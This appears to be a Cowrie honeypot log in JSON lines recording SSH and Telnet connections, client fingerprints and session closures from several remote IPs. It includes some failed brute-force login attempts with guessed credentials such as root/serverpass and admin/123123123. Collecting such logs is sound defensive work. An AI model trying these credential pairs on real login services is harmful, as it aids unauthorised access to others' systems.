{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:11.923177Z","src_ip":"115.190.179.68","session":"a6d196a7e676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:12.143915Z","src_ip":"115.190.179.68","session":"a6d196a7e676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"school","message":"login attempt [admin/school] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:14.282351Z","src_ip":"115.190.179.68","session":"a6d196a7e676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.387019395828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:15.344352Z","src_ip":"94.46.12.68","session":"9e495cfb5d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:17.168600Z","src_ip":"115.190.179.68","session":"a6d196a7e676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.472169876098633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:17.401963Z","src_ip":"94.46.12.68","session":"a44358f5a21c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.574156761169434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:17.549166Z","src_ip":"69.65.3.189","session":"39422757a838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":35652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b2362710e16","protocol":"telnet","message":"New connection: 69.65.3.189:35652 (10.17.0.5:23) [session: 3b2362710e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:17.553034Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a58b4531581","protocol":"telnet","message":"New connection: 69.65.3.189:35448 (10.17.0.5:23) [session: 1a58b4531581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:17.556425Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eae7437a20a","protocol":"telnet","message":"New connection: 94.46.12.68:50414 (10.17.0.5:23) [session: 8eae7437a20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:20.925927Z"}
{"eventid":"cowrie.session.closed","duration":38.92088961601257,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:23.968463Z","src_ip":"69.65.3.189","session":"90b6f2198765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51027822494507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:27.395075Z","src_ip":"94.46.12.68","session":"dcb118094ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20830750465393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:33.461776Z","src_ip":"94.46.12.68","session":"c475a5b11a34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06623339653015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:37.125680Z","src_ip":"94.46.12.68","session":"4182d07f711b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"813b7e07424f","protocol":"ssh","message":"New connection: 210.183.21.53:44810 (10.17.0.5:22) [session: 813b7e07424f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:39.264270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:39.269300Z","src_ip":"210.183.21.53","session":"813b7e07424f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:39.466341Z","src_ip":"210.183.21.53","session":"813b7e07424f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34720,"dst_ip":"10.17.0.5","dst_port":23,"session":"322f743dc683","protocol":"telnet","message":"New connection: 94.46.12.68:34720 (10.17.0.5:23) [session: 322f743dc683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:39.875576Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123123","message":"login attempt [admin/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:40.286276Z","src_ip":"210.183.21.53","session":"813b7e07424f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:41.486585Z","src_ip":"210.183.21.53","session":"813b7e07424f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46290,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad82a87781a","protocol":"telnet","message":"New connection: 94.46.12.68:46290 (10.17.0.5:23) [session: 8ad82a87781a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:45.227949Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6431377c7a8","protocol":"telnet","message":"New connection: 94.46.12.68:47186 (10.17.0.5:23) [session: d6431377c7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:45.705552Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50694,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b45018e5a1a","protocol":"telnet","message":"New connection: 94.46.12.68:50694 (10.17.0.5:23) [session: 4b45018e5a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:47.368411Z"}
{"eventid":"cowrie.session.closed","duration":31.19506573677063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:48.748020Z","src_ip":"69.65.3.189","session":"3b2362710e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":38724,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca7e07b679d","protocol":"ssh","message":"New connection: 72.79.42.117:38724 (159.203.135.109:22) [session: cca7e07b679d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:49.760375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:49.765409Z","src_ip":"72.79.42.117","session":"cca7e07b679d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:49.773451Z","src_ip":"72.79.42.117","session":"cca7e07b679d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverpass","message":"login attempt [root/serverpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:49.844761Z","src_ip":"72.79.42.117","session":"cca7e07b679d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56784,"dst_ip":"10.17.0.5","dst_port":23,"session":"691f9edcbf87","protocol":"telnet","message":"New connection: 94.46.12.68:56784 (10.17.0.5:23) [session: 691f9edcbf87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:49.944598Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":42480,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc100c49e47","protocol":"ssh","message":"New connection: 115.190.179.68:42480 (159.203.135.109:22) [session: abc100c49e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:50.469589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:50.475587Z","src_ip":"115.190.179.68","session":"abc100c49e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:50.708969Z","src_ip":"115.190.179.68","session":"abc100c49e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:50.854326Z","src_ip":"72.79.42.117","session":"cca7e07b679d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.233439207077026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:51.159202Z","src_ip":"94.46.12.68","session":"8eae7437a20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.198317527770996,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:51.754667Z","src_ip":"69.65.3.189","session":"1a58b4531581","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xsw2zaq1","message":"login attempt [ubuntu/xsw2zaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:52.309853Z","src_ip":"115.190.179.68","session":"abc100c49e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":35580,"dst_ip":"10.17.0.5","dst_port":23,"session":"61e1edc82533","protocol":"telnet","message":"New connection: 94.46.12.68:35580 (10.17.0.5:23) [session: 61e1edc82533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:53.188917Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:53.546134Z","src_ip":"115.190.179.68","session":"abc100c49e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209951400757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:07.919595Z","src_ip":"105.172.105.4","session":"5e6147fe2563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":52164,"dst_ip":"159.203.135.109","dst_port":23,"session":"bceda139acc2","protocol":"telnet","message":"New connection: 105.172.105.4:52164 (159.203.135.109:23) [session: bceda139acc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:08.638414Z"}
{"eventid":"cowrie.session.closed","duration":120.00133919715881,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:09.433139Z","src_ip":"105.172.105.4","session":"0b637b4d0104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":52302,"dst_ip":"159.203.135.109","dst_port":23,"session":"30382a00fb13","protocol":"telnet","message":"New connection: 105.172.105.4:52302 (159.203.135.109:23) [session: 30382a00fb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:10.025407Z"}
{"eventid":"cowrie.session.closed","duration":30.24560832977295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:10.121046Z","src_ip":"94.46.12.68","session":"322f743dc683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022873878479,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:10.372270Z","src_ip":"105.172.105.4","session":"fae039a9ab51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dd7eefdf0dc","protocol":"telnet","message":"New connection: 105.172.105.4:52412 (159.203.135.109:23) [session: 6dd7eefdf0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:10.917023Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57bdd0c9e9b","protocol":"telnet","message":"New connection: 94.46.12.68:46544 (10.17.0.5:23) [session: d57bdd0c9e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:12.458705Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":51574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f693b2b10617","protocol":"telnet","message":"New connection: 94.46.12.68:51574 (10.17.0.5:23) [session: f693b2b10617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:14.931238Z"}
{"eventid":"cowrie.session.closed","duration":30.355802536010742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:16.061220Z","src_ip":"94.46.12.68","session":"d6431377c7a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852035999298096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:16.079856Z","src_ip":"94.46.12.68","session":"8ad82a87781a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe55523f615","protocol":"telnet","message":"New connection: 94.46.12.68:55322 (10.17.0.5:23) [session: 5fe55523f615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:16.811770Z"}
{"eventid":"cowrie.session.closed","duration":31.25802516937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:18.626343Z","src_ip":"94.46.12.68","session":"4b45018e5a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.729389905929565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:21.673903Z","src_ip":"94.46.12.68","session":"691f9edcbf87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.977264881134033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:24.166031Z","src_ip":"94.46.12.68","session":"61e1edc82533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":40200,"dst_ip":"159.203.135.109","dst_port":22,"session":"e503fd7ff044","protocol":"ssh","message":"New connection: 115.190.179.68:40200 (159.203.135.109:22) [session: e503fd7ff044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:28.169963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:28.175105Z","src_ip":"115.190.179.68","session":"e503fd7ff044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":33562,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e8dc81dfea","protocol":"ssh","message":"New connection: 210.183.21.53:33562 (10.17.0.5:22) [session: 83e8dc81dfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:32.250334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:32.257529Z","src_ip":"210.183.21.53","session":"83e8dc81dfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:32.460945Z","src_ip":"210.183.21.53","session":"83e8dc81dfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newadmin","password":"1234","message":"login attempt [newadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:33.312968Z","src_ip":"210.183.21.53","session":"83e8dc81dfea","protocol":"ssh"}
